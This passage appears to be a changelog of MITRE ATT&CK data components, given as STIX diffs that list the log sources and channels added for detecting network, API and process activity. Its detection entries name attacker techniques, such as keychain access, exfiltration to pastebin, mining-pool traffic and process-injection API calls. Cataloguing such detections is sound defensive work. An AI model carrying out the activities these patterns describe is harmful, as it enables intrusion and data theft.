{'name': 'NSM:FLow', 'channel': 'dns.log'}, {'name': 'NSM:Flow', 'channel': 'Encrypted tunnels or proxy traffic to non-standard destinations'}, {'name': 'esxi:vmkernel', 'channel': 'Suspicious traffic filtered or redirected by VM networking stack'}, {'name': 'NSM:Flow', 'channel': 'large transfer from management IPs to unauthorized host'}, {'name': 'NSM:Flow', 'channel': 'Sustained abnormal inbound request rate targeting application ports (e.g., 80/443/25)'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, smb_files.log'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'mirror/SPAN port'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, conn.log, smb_files.log'}, {'name': 'linux:syslog', 'channel': 'Multiple NXDOMAIN responses and high entropy domains'}, {'name': 'NSM:Flow', 'channel': 'SSL/TLS Inspection or PCAP'}, {'name': 'NSM:Flow', 'channel': 'conn.log, ssl.log'}, {'name': 'macos:unifiedlog', 'channel': 'process + network activity'}, {'name': 'NSM:Flow', 'channel': 'http, dns, smb, ssl logs'}, {'name': 'NSM:Flow', 'channel': 'dns, ssl, conn'}, {'name': 'NSM:Flow', 'channel': 'conn.log, http.log, dns.log, ssl.log'}, {'name': 'networkdevice:syslog', 'channel': 'Authentication failures, unexpected community string usage, or unauthorized SNMPv1/v2 requests'}, {'name': 'NSM:Flow', 'channel': 'ICMP/UDP traffic (Wireshark, Suricata, Zeek)'}, {'name': 'NSM:Flow', 'channel': 'icmp.log, weird.log'}, {'name': 'NSM:Flow', 'channel': 'ICMP/UDP monitoring (tcpdump, Wireshark, Zeek)'}, {'name': 'esxi:vmkernel', 'channel': 'VMCI syslog entries'}, {'name': 'NSM:Firewall', 'channel': 'ICMP/UDP protocol anomaly'}, {'name': 'NSM:Flow', 'channel': 'Unusual responses to LLMNR (UDP 5355) or NBT-NS (UDP 137) queries from unauthorized hosts'}, {'name': 'NSM:Flow', 'channel': 'DHCP OFFER or ACK with unauthorized DNS/gateway parameters'}, {'name': 'NSM:Flow', 'channel': 'Multiple DHCP OFFER responses for a single DISCOVER'}, {'name': 'NSM:Flow', 'channel': 'SSL/TLS Handshake Analysis'}, {'name': 'NSM:Flow', 'channel': 'HTTP Header Metadata'}, {'name': 'NSM:Flow', 'channel': 'Network Capture TLS/HTTP'}, {'name': 'NSM:Content', 'channel': 'SSL Certificate Metadata'}, {'name': 'NSM:Content', 'channel': 'HTTP Header Metadata'}, {'name': 'NSM:Content', 'channel': 'TLS Fingerprint and Certificate Analysis'}, {'name': 'NSM:Flow', 'channel': 'container egress to unknown IPs/domains'}, {'name': 'gcp:vpcflow', 'channel': 'first 5m egress to unknown ASNs'}, {'name': 'NSM:Flow', 'channel': 'HTTP Request Logging'}, {'name': 'WinEventLog:iis', 'channel': 'IIS Logs'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.WebKit'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Unusual volume of data transferred from S3 storage endpoints to non-corporate IPs'}, {'name': 'NSM:Flow', 'channel': 'ssh connections originating from third-party CIDRs'}, {'name': 'NSM:Flow', 'channel': 'ssh/smb connections to internal resources from third-party devices'}, {'name': 'NSM:Flow', 'channel': 'Degraded encryption throughput or switch to weaker cipher suites compared to historical baselines'}, {'name': 'NSM:Flow', 'channel': 'ssl.log (for TLS handshake analysis), dns.log (tunneling indicators)'}, {'name': 'NSM:Flow', 'channel': 'host switch egress data'}, {'name': 'NSM:Flow', 'channel': 'Outbound HTTP/S'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem: com.apple.WebKit or com.apple.WebKit.Networking'}, {'name': 'NSM:Flow', 'channel': 'ssl.log - Certificate Analysis'}, {'name': 'NSM:Flow', 'channel': 'ssl.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'ssl.log, x509.log'}, {'name': 'NSM:Flow', 'channel': 'Packets with unusual flags or payloads outside established flows (e.g., WoL magic FF×6 + 16×MAC)'}, {'name': 'WIDS:AssociationLogs', 'channel': 'Unauthorized AP or anomalous MAC address connection attempts'}, {'name': 'macos:unifiedlog', 'channel': 'encrypted outbound traffic carrying unexpected application data'}, {'name': 'esxcli:network', 'channel': 'listening sockets bound with non-standard encapsulated protocols'}, {'name': 'macos:unifiedlog', 'channel': 'Persistent outbound connections with consistent periodicity'}, {'name': 'macos:unifiedlog', 'channel': 'TLS connections with abnormal handshake sequence or self-signed cert'}, {'name': 'esxcli:network', 'channel': 'Socket inspection showing RSA key exchange outside baseline endpoints'}, {'name': 'IDS:TLSInspection', 'channel': 'Malformed certs, incomplete asymmetric handshakes, or invalid CAs'}, {'name': 'macos:unifiedlog', 'channel': 'Web server process initiating outbound TCP connections not tied to normal server traffic'}, {'name': 'macos:unifiedlog', 'channel': 'outbound TLS connections to cloud storage providers'}, {'name': 'saas:box', 'channel': 'API calls exceeding baseline thresholds'}, {'name': 'macos:unifiedlog', 'channel': 'outbound HTTPS connections to cloud storage APIs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'High volume internal-to-internal IP transfer or cross-account cloud transfer'}, {'name': 'etw:Microsoft-Windows-WinINet', 'channel': 'WinINet API telemetry'}, {'name': 'macos:unifiedlog', 'channel': 'process, network'}, {'name': 'NSM:Connections', 'channel': 'Unusual POST requests to admin or upload endpoints'}, {'name': 'NSM:Flow', 'channel': 'Suspicious POSTs to upload endpoints'}, {'name': 'networkdevice:syslog', 'channel': 'Authentication failures or unusual community string usage in SNMP queries'}, {'name': 'API:ConfigRepoAudit', 'channel': 'Access to configuration repository endpoints, unusual enumeration requests or mass downloads'}, {'name': 'NSM:Content', 'channel': 'Traffic on RPC DRSUAPI'}, {'name': 'macos:unifiedlog', 'channel': "process = 'ssh' OR eventMessage CONTAINS 'ssh'"}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:11:16.672000+00:00	2025-10-21 15:14:34.343000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0078] Network Traffic Flow

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0078', 'external_id': 'DC0078'}]
x_mitre_log_sources		[{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'socket_events'}, {'name': 'NSM:Flow', 'channel': 'Unexpected flows between segmented networks or prohibited ports'}, {'name': 'snmp:config', 'channel': 'Configuration change traps or policy enforcement failures'}, {'name': 'NSM:Flow', 'channel': 'First-time outbound connections to package registries or unknown hosts immediately after restore/build'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to new registries/CDNs post-install/build'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to non-approved registries after dependency install'}, {'name': 'NSM:Flow', 'channel': 'Outbound connections to TCP 139,445 and HTTP/HTTPS to WebDAV endpoints from workstation subnets'}, {'name': 'NSM:Flow', 'channel': 'large outbound data flows or long-duration connections'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'egress > 90th percentile or frequent connection reuse'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect'}, {'name': 'esxi:syslog', 'channel': 'esxcli network vswitch or DNS resolver configuration updates'}, {'name': 'esxi:vobd', 'channel': 'Network Events'}, {'name': 'iptables:LOG', 'channel': 'TCP connections'}, {'name': 'NSM:Flow', 'channel': 'connection metadata'}, {'name': 'wineventlog:dhcp', 'channel': 'DHCP Lease Granted'}, {'name': 'NSM:Flow', 'channel': 'LEASE_GRANTED'}, {'name': 'NSM:Flow', 'channel': 'MAC not in allow-list acquiring IP (DHCP)'}, {'name': 'Windows Firewall Log', 'channel': 'SMB over high port'}, {'name': 'NSM:Connections', 'channel': 'Internal connection logging'}, {'name': 'NSM:Flow', 'channel': 'pf firewall logs'}, {'name': 'esxi:vmkernel', 'channel': '/var/log/vmkernel.log'}, {'name': 'NSM:Flow', 'channel': 'Inter-segment traffic'}, {'name': 'NSM:Flow', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Long-lived or hijacked SSH sessions maintained with no active user activity'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'VPC/NSG flow logs for pod/instance egress to Internet or metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious outbound traffic from browser binary to non-standard domains'}, {'name': 'NSM:Flow', 'channel': 'Abnormal browser traffic volume or destination'}, {'name': 'NSM:Flow', 'channel': 'Outbound requests to domains not previously resolved or associated with phishing campaigns'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to domains/IPs not previously resolved, occurring shortly after attachment download or link click'}, {'name': 'M365Defender:DeviceNetworkEvents', 'channel': 'NetworkConnection: bytes_sent >> bytes_received anomaly'}, {'name': 'PF:Logs', 'channel': 'outbound flows with bytes_out >> bytes_in'}, {'name': 'NSX:FlowLogs', 'channel': 'network_flow: bytes_out >> bytes_in to external'}, {'name': 'NSM:Flow', 'channel': 'NetFlow/Zeek conn.log'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound data flows'}, {'name': 'NSM:Flow', 'channel': 'Flow records with entropy signatures resembling symmetric encryption'}, {'name': 'NSM:Flow', 'channel': 'flow records'}, {'name': 'networkdevice:syslog', 'channel': 'flow records'}, {'name': 'macos:unifiedlog', 'channel': 'HTTPS POST to known webhook URLs'}, {'name': 'saas:api', 'channel': 'Webhook registrations or repeated POST activity'}, {'name': 'NSM:Flow', 'channel': 'Source/destination IP translation inconsistent with intended policy'}, {'name': 'SNMP:DeviceLogs', 'channel': 'Unexpected NAT translation statistics or rule insertion events'}, {'name': 'NSM:Flow', 'channel': 'Sudden spike in incoming flows to web service ports from single/multiple IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Unusual volume of inbound packets from single source across short time interval'}, {'name': 'NSM:Flow', 'channel': 'port 5900 inbound'}, {'name': 'NSM:Flow', 'channel': 'TCP port 5900 open'}, {'name': 'NSM:firewall', 'channel': 'inbound connection to port 5900'}, {'name': 'NSM:Firewall', 'channel': 'Outbound connections to 139/445 to multiple destinations'}, {'name': 'VPCFlowLogs:All', 'channel': 'High volume internal traffic with low entropy indicating looped or malicious DoS script'}, {'name': 'NSM:Flow', 'channel': 'NetFlow/sFlow/PCAP'}, {'name': 'NSM:Flow', 'channel': 'Outbound Network Flow'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.network'}, {'name': 'NSM:Flow', 'channel': 'Device-to-Device Deployment Flows'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect syscalls'}, {'name': 'macos:unifiedlog', 'channel': 'outbound TCP/UDP traffic over unexpected port'}, {'name': 'esxi:vpxd', 'channel': 'ESXi service connections on unexpected ports'}, {'name': 'iptables:LOG', 'channel': 'OUTBOUND'}, {'name': 'macos:unifiedlog', 'channel': 'tcp/udp'}, {'name': 'esxi:hostd', 'channel': 'CLI network calls'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic from suspicious new processes post-attachment execution'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious anomalies in transmitted data integrity during application network operations'}, {'name': 'esxi:syslog', 'channel': 'DNS resolution events leading to outbound traffic on unexpected ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to mining pools or proxies'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound flow logs to known mining pools'}, {'name': 'container:cni', 'channel': 'Outbound network traffic to mining proxies'}, {'name': 'esxi:vpxd', 'channel': 'TLS session established by ESXi service to unapproved endpoint'}, {'name': 'NSM:Flow', 'channel': 'Session records with TLS-like byte patterns'}, {'name': 'macos:unifiedlog', 'channel': 'HTTPS POST requests to pastebin.com or similar'}, {'name': 'NetFlow:Flow', 'channel': 'new outbound connections from exploited process tree'}, {'name': 'NSM:Connections', 'channel': 'new connections from exploited lineage'}, {'name': 'NSM:Flow', 'channel': 'Unexpected route changes or duplicate gateway advertisements'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall', 'channel': 'EventCode=2004,2005,2006'}, {'name': 'NSM:Flow', 'channel': 'Knock pattern: repeated REJ/S0 across ≥MinSequenceLen ports from same src_ip then SF success.'}, {'name': 'macos:unifiedlog', 'channel': 'Firewall/PF anchor load or rule change events.'}, {'name': 'networkdevice:syslog', 'channel': 'Config/ACL changes, line vty transport input changes, telnet/ssh/http(s) enable, image/feature module changes.'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to non-approved update hosts right after install/update'}, {'name': 'NSM:Flow', 'channel': 'New outbound flows to non-approved vendor hosts post install'}, {'name': 'NSM:Flow', 'channel': 'New/rare egress to non-approved update hosts after install'}, {'name': 'NSM:Flow', 'channel': 'large outbound HTTPS uploads to repo domains'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS traffic to repository domains'}, {'name': 'NSM:Flow', 'channel': 'alert log'}, {'name': 'esxi:vmkernel', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Outbound flow records'}, {'name': 'm365:defender', 'channel': 'NetworkConnection: high out:in ratio, periodic beacons, protocol mismatch'}, {'name': 'PF:Logs', 'channel': 'high out:in ratio or fixed-size periodic flows'}, {'name': 'NSM:Flow', 'channel': 'network_flow: bytes_out >> bytes_in, fixed packet sizes/intervals to non-approved CIDRs'}, {'name': 'auditd:SYSCALL', 'channel': 'connect or sendto system call with burst pattern'}, {'name': 'macos:unifiedlog', 'channel': 'sudden burst in outgoing packets from same PID'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'source instance sends large volume of traffic in short window'}, {'name': 'NSM:Flow', 'channel': 'session stats with bytes_out > bytes_in'}, {'name': 'NIDS:Flow', 'channel': 'session stats with bytes_out > bytes_in'}, {'name': 'esxi:vpxa', 'channel': 'connection attempts and data transmission logs'}, {'name': 'PF:Logs', 'channel': 'External traffic to remote access services'}, {'name': 'NSM:Flow', 'channel': 'High volumes of SYN/ACK packets with unacknowledged TCP handshakes'}, {'name': 'dns:query', 'channel': 'Outbound resolution to hidden service domains (e.g., `.onion`)'}, {'name': 'NSM:Flow', 'channel': 'conn.log + ssl.log with Tor fingerprinting'}, {'name': 'macos:unifiedlog', 'channel': 'forwarded encrypted traffic'}, {'name': 'NSM:Flow', 'channel': 'Relayed session pathing (multi-hop)'}, {'name': 'NSM:Flow', 'channel': 'Outbound TCP SYN or UDP to multiple ports/hosts'}, {'name': 'containerd:runtime', 'channel': 'container-level outbound traffic events'}, {'name': 'WLANLogs:Association', 'channel': 'Multiple APs advertising the same SSID but with different BSSID/MAC or encryption type'}, {'name': 'linux:osquery', 'channel': 'socket_events'}, {'name': 'WinEventLog:Security', 'channel': 'ARP cache modification attempts observed through event tracing or security baselines'}, {'name': 'NSM:Flow', 'channel': 'Gratuitous ARP replies with mismatched IP-MAC binding'}, {'name': 'macos:unifiedlog', 'channel': 'ARP table updates inconsistent with expected gateway or DHCP lease assignments'}, {'name': 'macos:unifiedlog', 'channel': 'networkd or com.apple.network'}, {'name': 'macos:unifiedlog', 'channel': 'log stream \'eventMessage contains "dns_request"\''}, {'name': 'esxi:syslog', 'channel': '/var/log/syslog.log'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateTrafficMirrorSession or ModifyTrafficMirrorTarget'}, {'name': 'networkdevice:syslog', 'channel': "Config change: CLI/NETCONF/SNMP – 'monitor session', 'mirror port'"}, {'name': 'NSM:Flow', 'channel': 'Outbound UDP floods targeting common reflection services with spoofed IP headers'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound UDP spikes to external reflector IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large outbound UDP traffic to multiple public reflector IPs'}, {'name': 'macos:unifiedlog', 'channel': 'High entropy domain queries with multiple NXDOMAINs'}, {'name': 'esxi:syslog', 'channel': 'Frequent DNS queries with high entropy names or NXDOMAIN results'}, {'name': 'vpxd.log', 'channel': 'API communication'}, {'name': 'NSM:Connections', 'channel': 'Outbound Connection'}, {'name': 'NSM:Flow', 'channel': 'Connection Tracking'}, {'name': 'NSM:Firewall', 'channel': 'pf firewall logs'}, {'name': 'NSM:Flow', 'channel': 'Flow Creation (NetFlow/sFlow)'}, {'name': 'NSM:Flow', 'channel': 'conn.log, icmp.log'}, {'name': 'NSM:Flow', 'channel': 'Abnormal SMB authentication attempts correlated with poisoned LLMNR/NBT-NS sessions'}, {'name': 'NSM:Flow', 'channel': 'Gratuitous or duplicate DHCP OFFER packets from non-legitimate servers'}, {'name': 'NSM:Connections', 'channel': 'Inbound on ports 5985/5986'}, {'name': 'linux:syslog', 'channel': 'Multiple IP addresses assigned to the same domain in rapid sequence'}, {'name': 'macos:unifiedlog', 'channel': 'Rapid domain-to-IP resolution changes for same domain'}, {'name': 'esxi:syslog', 'channel': 'Frequent DNS resolution of same domain with rotating IPs'}, {'name': 'NSM:Flow', 'channel': 'uncommon ports'}, {'name': 'NSM:Flow', 'channel': 'alternate ports'}, {'name': 'esxi:vpxd', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'conn.log or flow data'}, {'name': 'esxi:vmkernel', 'channel': 'egress log analysis'}, {'name': 'esxi:vmkernel', 'channel': 'egress logs'}, {'name': 'NSM:Flow', 'channel': 'High volume flows with incomplete TCP sessions or single-packet bursts'}, {'name': 'NSM:Flow', 'channel': 'Knock pattern: multiple REJ/S0 to distinct closed ports then successful connection to service_port'}, {'name': 'macos:unifiedlog', 'channel': 'Firewall rule enable/disable or listen socket changes'}, {'name': 'networkdevice:syslog', 'channel': 'Config/ACL/line vty changes, service enable (telnet/ssh/http(s)), module reloads'}, {'name': 'auditd:SYSCALL', 'channel': 'ioctl: Changes to wireless network interfaces (up, down, reassociate)'}, {'name': 'macos:osquery', 'channel': 'query: Historical list of associated SSIDs compared against baseline'}, {'name': 'NSM:Flow', 'channel': 'First-time egress from host after new install to unknown update endpoints'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to unknown registries/mirrors immediately after install'}, {'name': 'NSM:Flow', 'channel': 'New egress from app just installed to unknown update endpoints'}, {'name': 'esxi:vpxd', 'channel': 'ESXi processes relaying traffic via SSH or unexpected ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound connection to mining pool port (3333, 4444, 5555)'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to mining pool upon container launch'}, {'name': 'NSM:Flow', 'channel': 'Flow records with RSA key exchange on unexpected port'}, {'name': 'NSM:Flow', 'channel': 'Outbound connections from web server binaries (apache2, nginx, php-fpm) to unknown external IPs'}, {'name': 'NSM:Flow', 'channel': 'sustained outbound HTTPS sessions with high data volume'}, {'name': 'NSM:Flow', 'channel': 'Connections from IDE hosts to marketplace/tunnel domains'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound connections from IDE processes to marketplace/tunnel domains'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS outbound uploads'}, {'name': 'esxi:vmkernel', 'channel': 'network flows to external cloud services'}, {'name': 'NSM:Flow', 'channel': 'TCP port 22 traffic'}, {'name': 'esxi:vmkernel', 'channel': 'port 22 access'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:11:20.168000+00:00	2025-10-21 15:14:34.703000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0021] OS API Execution

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0021', 'external_id': 'DC0021'}]
x_mitre_log_sources		[{'name': 'Process', 'channel': 'None'}, {'name': 'etw:Microsoft-Windows-Kernel-Base', 'channel': 'GetLocaleInfoW, GetTimeZoneInformation API calls'}, {'name': 'AWS:CloudTrail', 'channel': 'GetMetadata, DescribeInstanceIdentity'}, {'name': 'macos:osquery', 'channel': 'open, execve: Unexpected processes accessing or modifying critical files'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, ioctl'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API tracing / stack tracing via ETW or telemetry-based EDR'}, {'name': 'EDR:memory', 'channel': 'Behavioral API telemetry (GetProcAddress, LoadLibrary, VirtualAlloc)'}, {'name': 'networkdevice:syslog', 'channel': 'aaa privilege_exec'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'APCQueueOperations'}, {'name': 'macos:unifiedlog', 'channel': 'Invocation of SMLoginItemSetEnabled by non-system or recently installed application'}, {'name': 'macos:unifiedlog', 'channel': 'flock\|NSDistributedLock\|FileHandle.lockForWriting'}, {'name': 'etw:Microsoft-Windows-Directory-Services-SAM', 'channel': 'api_call: Calls to DsAddSidHistory or related RPC operations'}, {'name': 'macos:unifiedlog', 'channel': 'application logs referencing NSTimer, sleep, or launchd delays'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'High-frequency or suspicious sequence of QueryPerformanceCounter/GetTickCount API calls from a non-standard process lineage'}, {'name': 'auditd:SYSCALL', 'channel': 'Rules capturing clock_gettime, time, gettimeofday syscalls when enabled'}, {'name': 'networkdevice:syslog', 'channel': 'Unexpected reload, crashinfo, or boot message not tied to scheduled maintenance'}, {'name': 'etw:Microsoft-Windows-RPC', 'channel': 'rpc_call: srvsvc.NetShareEnum / NetShareEnumAll from non-admin or unusual processes'}, {'name': 'NSM:Flow', 'channel': 'smb_command: TreeConnectAndX to \\\\\\IPC$ / srvsvc or Trans2/NT_CREATE for listing shares'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656'}, {'name': 'EDR:memory', 'channel': 'API usage MFCreateDeviceSource, IAMStreamConfig, ICaptureGraphBuilder2, DirectShow filter graph creation from uncommon callers'}, {'name': 'auditd:SYSCALL', 'channel': 'openat/read/ioctl: openat/read/ioctl on /dev/video* by uncommon user/process'}, {'name': 'macos:unifiedlog', 'channel': 'Access decisions to kTCCServiceCamera for unexpected binaries'}, {'name': 'EDR:memory', 'channel': 'Objective‑C/Swift calls to AVCaptureDevice/AVCaptureSession by non-whitelisted processes'}, {'name': 'auditd:SYSCALL', 'channel': 'mmap, ptrace, process_vm_writev or direct memory ops'}, {'name': 'WinEventLog:Application', 'channel': 'API call to AddMonitor invoked by non-installer process'}, {'name': 'etw:Microsoft-Windows-Win32k', 'channel': 'SetWindowLong, SetClassLong, NtUserMessageCall, SendNotifyMessage, PostMessage'}, {'name': 'auditd:SYSCALL', 'channel': 'unshare, mount, keyctl, setns syscalls executed by containerized processes'}, {'name': 'macos:unifiedlog', 'channel': 'audio APIs'}, {'name': 'WinEventLog:Microsoft-Windows-COM/Operational', 'channel': 'CLSID activation events where ProcessName=mmc.exe and CLSID not in allowed baseline'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.securityd, com.apple.tccd'}, {'name': 'auditd:SYSCALL', 'channel': 'send, recv, write: Abnormal interception or alteration of transmitted data'}, {'name': 'macos:osquery', 'channel': 'CALCULATE: Integrity validation of transmitted data via hash checks'}, {'name': 'ETW:Token', 'channel': 'token_analysis: API calls such as DuplicateTokenEx or ImpersonateLoggedOnUser'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API Calls'}, {'name': 'etw:Microsoft-Windows-DotNETRuntime', 'channel': 'AssemblyLoad/ModuleLoad (Loader keyword) from Microsoft-Windows-DotNETRuntime'}, {'name': 'EDR:memory', 'channel': 'VirtualAlloc/VirtualProtect/MapViewOfFile indicators via stack/heap activity and ImageLoad'}, {'name': 'auditd:MMAP', 'channel': 'memory region with RWX permissions allocated'}, {'name': 'snmp:trap', 'channel': 'management queries'}, {'name': 'AWS:CloudTrail', 'channel': 'Describe* or List* API calls'}, {'name': 'etw:Microsoft-Windows-Win32k', 'channel': 'SendMessage, PostMessage, LVM_'}, {'name': 'auditd:SYSCALL', 'channel': 'sudo or pkexec invocation'}, {'name': 'macos:unifiedlog', 'channel': 'authorization execute privilege requests'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'NtQueryInformationProcess'}, {'name': 'macos:unifiedlog', 'channel': 'ptrace: Processes invoking ptrace with PTRACE_TRACEME flag'}, {'name': 'esxi:hostd', 'channel': 'Remote access API calls and file uploads'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread'}, {'name': 'linux:syslog', 'channel': 'Execution of modified binaries or abnormal library load sequences'}, {'name': 'macos:unifiedlog', 'channel': 'Calls to AuthorizationExecuteWithPrivileges() observed via Apple System Logger or security_auditing tools'}, {'name': 'macos:unifiedlog', 'channel': 'access or unlock attempt to keychain database'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of input detection APIs (e.g., CGEventSourceKeyState)'}, {'name': 'auditd:SYSCALL', 'channel': 'mount system call with bind or remap flags'}, {'name': 'AWS:CloudTrail', 'channel': 'Decrypt'}, {'name': 'etw:Microsoft-Windows-Kernel-File', 'channel': 'ZwSetEaFile or ZwQueryEaFile function calls'}, {'name': 'auditd:SYSCALL', 'channel': 'fork/clone/daemon syscall tracing'}, {'name': 'fs:fsusage', 'channel': 'Detached process execution with no associated parent'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, mmap, mprotect, open, dlopen'}, {'name': 'ETW:ProcThread', 'channel': 'api_call: CreateProcessWithTokenW, CreateProcessAsUserW'}, {'name': 'EDR:memory', 'channel': 'MemoryWriteToExecutable'}, {'name': 'ETW:Token', 'channel': 'api_call: DuplicateTokenEx, ImpersonateLoggedOnUser, SetThreadToken'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'api_call: UpdateProcThreadAttribute (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS) and CreateProcess with EXTENDED_STARTUPINFO_PRESENT / StartupInfoEx'}, {'name': 'etw:Microsoft-Windows-Security-Auditing', 'channel': 'api_call: LogonUser(A\|W), LsaLogonUser, SetThreadToken, ImpersonateLoggedOnUser'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API calls'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, mmap, process_vm_writev'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of dd or sed targeting /proc/*/mem'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'CreateTransaction, CreateFileTransacted, RollbackTransaction, NtCreateProcessEx, NtCreateThreadEx'}, {'name': 'ETW', 'channel': 'Calls to GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'WriteProcessMemory: WriteProcessMemory targeting regions containing KernelCallbackTable addresses'}, {'name': 'EDR:file', 'channel': 'SetFileTime'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:31.145000+00:00	2025-10-21 15:14:36.999000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0032] Process Creation

Current version: 2.0

Version changed from: 1.2 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0032', 'external_id': 'DC0032'}]
x_mitre_log_sources		[{'name': 'Process', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'execve'}, {'name': 'macos:unifiedlog', 'channel': "log stream 'eventMessage contains pubsub or broker'"}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=1'}, {'name': 'linux:osquery', 'channel': 'Execution of binary resolved from $PATH not located in /usr/bin or /bin'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution path inconsistent with baseline PATH directories'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4688'}, {'name': 'linux:osquery', 'channel': 'process_events'}, {'name': 'macos:endpointsecurity', 'channel': 'exec'}, {'name': 'macos:osquery', 'channel': 'processes'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of launchctl with suspicious arguments'}, {'name': 'auditd:SYSCALL', 'channel': 'execve network tools'}, {'name': 'macos:osquery', 'channel': 'process_events'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls to soffice.bin with suspicious macro execution flags'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution of Microsoft Word, Excel, PowerPoint with macro execution attempts'}, {'name': 'macos:osquery', 'channel': 'process reading browser configuration paths'}, {'name': 'macos:unifiedlog', 'channel': 'exec logs'}, {'name': 'auditd:EXECVE', 'channel': 'execve: Processes launched with LD_PRELOAD/LD_LIBRARY_PATH pointing to non-system dirs'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: Process execution context for loaders calling dlopen/dlsym'}, {'name': 'auditd:EXECVE', 'channel': 'EXECVE'}, {'name': 'auditd:EXECVE', 'channel': 'execution of unexpected binaries during user shell startup'}, {'name': 'macos:unifiedlog', 'channel': 'launch of Terminal.app or shell with non-standard environment setup'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC with unusual parent-child process relationships from zsh'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of systemctl or service stop'}, {'name': 'auditd:SYSCALL', 'channel': 